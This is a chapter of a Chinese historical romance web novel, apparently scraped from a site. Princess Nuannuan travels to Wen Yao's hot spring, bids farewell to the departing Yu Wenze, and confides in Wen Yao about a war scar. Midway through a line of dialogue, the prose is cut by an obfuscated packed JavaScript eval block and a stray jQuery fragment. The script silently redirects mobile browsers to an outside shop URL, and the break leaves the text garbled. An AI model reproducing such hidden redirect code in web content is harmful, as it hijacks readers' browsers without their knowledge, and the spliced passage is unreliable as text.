第三日,天气晴好,文瑶早早驾车来到信王府。暖暖只命舒雁同去,故意将画眉留在了府里,让她看着移栽绿植。
那日舒雁告知高管家郡主要栽些茉莉,高管家很是上心,在花草行里对比了几家,定下了不同品种的茉莉,正好趁着今日郡主外出,请工匠到府里移栽。
虽有文府的车架,但叶皓仍旧安排了车架同往,命季萧并四名侍卫护送,他将暖暖送出门,见她一副不开心的样子,问道:“怎么?还生我的气呢?”
“岂敢?”暖暖对这次出行并无期待。
“你呀!我也是为你好,以后你会明白的。”
韦素牵马过来,说道:“殿下,可以出发了。”
“好……”叶皓说着身形却未动。
“你去哪里?”暖暖不解地问,他的脚伤还没养好,不宜走动,毕竟她扭脚时休养了半个月之久。
“今日要去任上。”叶皓活动了一下脚腕,继续说道:“这点小伤不算什么。”
看着他一副满不在乎的样子,暖暖心中感叹:这情伤大概也不算什么吧。
“叮铃……叮铃……”一串马玲声自长街尽头传来,只见一辆装饰华丽的马车缓缓驶来,不多时便到了王府门口。
文瑶自马车里出来,见到叶皓便红了脸,赶紧下车行礼问安。
叶皓客气道:“今日有劳文小姐了。”
“殿下放心,臣女一定照顾好郡主。”文瑶耳根红透,声音软糯。
”我还有公务,告辞。”叶皓说着眼睛却看向暖暖,说罢转身上马,带着侍卫离开。
文瑶的目光随他而去,直到暖暖在马车上叫她,她才转身上了车。
一路阳光明媚,碧空千里,路上暖暖与文瑶同乘,舒雁与文瑶的侍女同乘,季萧并侍卫骑马相随。
“殿下的脚怎么了?”文瑶见叶皓上马时需要人搀扶,心下甚是担忧,实在忍不住便向问郡主询问。
“扭伤了。”
“怎么会这么不小心呢?。”
“路滑……没走稳……”暖暖编了谎。
“哦,哦……”文瑶掀开车帷,看着这一队人马,感叹到:“今日这阵仗也太大了,殿下真是关心郡主,只是去游玩一番就派了这么多人。”
“他说今日人多,便多派了几个侍卫,今日,可还有别人同去?”
“只有咱俩,自家的汤泉,外人并不知晓,汤泉也不大,人多了泡不下。”
暖暖知道她是因为自己不喜热闹而没有邀请别人,于是含笑致谢。
一路上多数时候都是文瑶在说话,暖暖偶尔附和几句,她觉得她与文瑶算不上朋友,与文瑶相处不如与师英玉相处轻松愉快。
也不知道玉姐姐现在怎么样了,写给她的信也不知什么时候能送达。
文瑶叽哩哇啦地说着自己的哥哥嫂嫂,暖暖听了个大概。他们夫妻二人是指腹为婚,文瑶幼时丧母,是她嫂嫂将她带大,姑嫂二人感情至深,而她哥哥却待她却很严厉。
从她这开朗的性格及衣着打扮,暖暖可以看出她的确被她哥嫂养得很好,并没有受过什么苦处。
出了城,行人渐少,暖暖掀开车帷,远远看见三清观,她临时起意:“泡完温泉,咱们再去拜三清真人吧。”
“好呀!好呀!我以前都是和嫂嫂去,但自她有孕后,我就再也没去过了。”
暖暖继续向外面看着,再向前便是石城湖,湖畔的桃花正盛,但隐约可见颓败之势。
远远看见桃花林处一人牵着马信步而行,她只觉得得那人眼熟,仔细看了看,原来是于文则。
她记得叶均说过要将于文则调离京城,难道他这是要走了?若真如此,他的命运因自己而改变,这对他来说太不公平了。
想到这些她心中有些愧疚,决定去问个清楚,也许会有挽回的余地,人生海海,现在若不说,怕是以后再没有机会了。
她叫停了马车,对文瑶说道:“我方才看见外面有一个朋友,他今日离京,我去和他道个别,你们先走,我一会追上的来。”
说完便下车,向季萧要了马,朝着于文则奔去,季萧不明所以,要了一个侍卫的马,追她同去。
暖暖走近了才看清,的确是于文则,他一身枯绿色的衣衫牵着一匹瘦马,马鞍处挂着一个灰色的包袱并一把剑。
于文则听见马蹄声,回头见是郡主,眼神中有些错愕,停下脚步,整理了一下衣衫。
暖暖下马站稳,问道:“于文则,你是要离京吗?”
于文则端正地施了一礼:“正是,郡主怎么在这里?”
“我路过,看到了你,来和你……道个别,你要去哪里?”
“成王殿下差我出京办些公务。”
果然是叶均将他调离,“你……成王跟你说什么了?暖暖一时也不知道说什么,刚才想道歉的那股勇气也没有了。
“只说不要让我再追究以前的事了……是啊,人都有过往,是我不该探究。”
暖暖终于鼓起勇气,说道:“对不起,是因为我的原因,三哥哥才让你离开这里。”
于文则一笑,说道:“那我还要感谢郡主,这京城我早就不想待着了,办完差事后,我便可以继续游山玩水了。”
暖暖以为他是自己为自己找台阶,真诚地说道:“我是真心向你道歉的。”
“郡主不必挂怀,若说道歉也该是我给郡主道歉。此事原是我开的头,也因我的自以为是,让郡主受了如此伤害,于某在此向郡主道歉了。”
一阵微风吹过,花瓣如雪般飞扬起来,于文则拂去身上的花瓣,说道:“时间不早了,多谢郡主相送,山高水长,后会有期,愿我们能江湖再见。”完欠身行礼,上马而去。
暖暖目送于文则离开,只觉得他那枯绿色的背影,在这繁花中显得无比的落寞。
见车马还等在原处,她将马交给季萧,步行返回,一路上她思忖着于文则的话:江湖再见。但是大概以后再也不会相见了,也不知道于文则有没有说实话,也不知道三哥哥有没有将实情告知于他。
有些事,她总是这样地糊里糊涂。
一路上她整好情绪,掩饰了落寞,她也不知道自己为什么落寞,大约仅仅是因为别离吧,虽然落寞,可也算是解开了一个心结。
她想起她也欠季萧一个歉意,便转身对季萧说道:“前日之事,是我连累了你。”
季萧怔了怔,赶紧行礼道:“是属下的错,郡主亦是属下的主上,属下愿为主上赴汤蹈火,万死不辞。”
暖暖有些摸不着头脑,叶皓昨日不是这样说的,她反问道:“你这么快就叛旧主了?”
“殿下昨日斥责了属下,不该把郡主
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183340|149415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
当外人。”
暖暖这才明白,前日叶皓对她、对季萧是两套说辞,她心想:四哥哥可真是用心良苦。
回到马车上,文瑶问是何人?她如实回答。
文瑶也没有在意,开始介绍她家的这个汤泉,这个汤泉是庄子上挖井时发现的,当泥水被冲走后,人们才发现流出来的水是温热的,水流虽不大,但却源源不断。
她嫂嫂非常喜欢,给取了个名字叫“小暖泉”,这个名字虽算不上文雅,但却符合实际。后来她家又在这里建了房屋,屋里用点苍石砌了两个大汤池,房外围种了竹林,除非飞到天上,否则谁也不会想到庄子里还能泡汤泉。
又行了半个时辰,来到一处庄子,外表看是普通的农家宅院,进去才发现里面却别有洞天。
到了外院,季萧并四个侍卫便被请去喝茶休息,文瑶带着暖暖及侍女们穿过正厅前堂,出了后门又走来一段竹林小路,才来到一处院落。
房屋建得比暖暖想想的要华丽许多,除了汤池,前厅、内厅、偏厅,茶室、书房、寝室一应俱全,看来文家对这里下了十足的功夫。
浴袍、茶点等早已备好,待暖暖换好衣服走进汤池时,文瑶已经泡在水里了。
文瑶笑着向她撩水,说道:“郡主快下来。”
暖暖沿着台阶走入水中,温暖的水流将她包裹,如同轻柔的丝绸抚过肌肤,带来一阵阵舒适。
她赞叹道:“这水真温暖……文姐姐,叫我叶青吧。”
“怎么好直呼郡主名讳,郡主不介意的话,我唤郡主一声妹妹可好?”
暖暖点点头,看着文瑶指若削葱根、口若含朱丹,如凝脂般的柔肌在水中宛如滑丝,再看看自己,和她一比简直像是一块炭一样。
这是在祁国的经历在她身上留下的痕迹,北方气候干燥,日光强烈,不论怎么保养,皮肤都会变黄变黑一些。
但她并没有多在意,文瑶却说道:“回头我送些白芍、白术到你府上,煮水喝,对皮肤好。”
“好,我这皮肤一晒就黑,正好试试。”
“你少吃些水芹、胡荽这类的菜蔬,还有橘子这类颜色重的水果,也要少吃些。”
“这还有关系吗?”暖暖微微诧异。
“当然,我小时贪食,多吃了几个橘子,第二日便脸色如橘皮一样,可把嫂嫂吓坏了,过了几日才好起来。”文瑶看着暖暖胸前一道疤痕,犹如一节蚯蚓附在皮肤上,看着让人心惊,问道:“怎么有这样深的疤痕。”
暖暖抚摸了一下疤痕,皮肤肌肉还没有平复,摸起来凹凸不平,她回答道:“在重峪关战场上受的伤。”
文瑶简直要惊掉下巴:“啊?你怎么会上战场?没有侍卫保护吗?”
“刀剑无眼,打起仗来,谁还顾得了谁?”暖暖有意避谈当日之事。
“怪不得,四殿下非要给你更名,原来是不想再让你再到祁国去。”
“文姐姐真是聪慧,一下就猜到了,但是这件事隐秘,不宜让别人知道。”
文瑶看出她的担心,拉上她的手说道:“妹妹放心,此处无人我才敢说,妹妹嫁的那祁国皇子,待妹妹一定不好,不然怎么会让妹妹置身于险境。”
痛苦在暖暖心头一闪而过,她不喜在人前提及冷逸尘只回答了一句:“他……姐姐,有些事,我们都是身不由己。”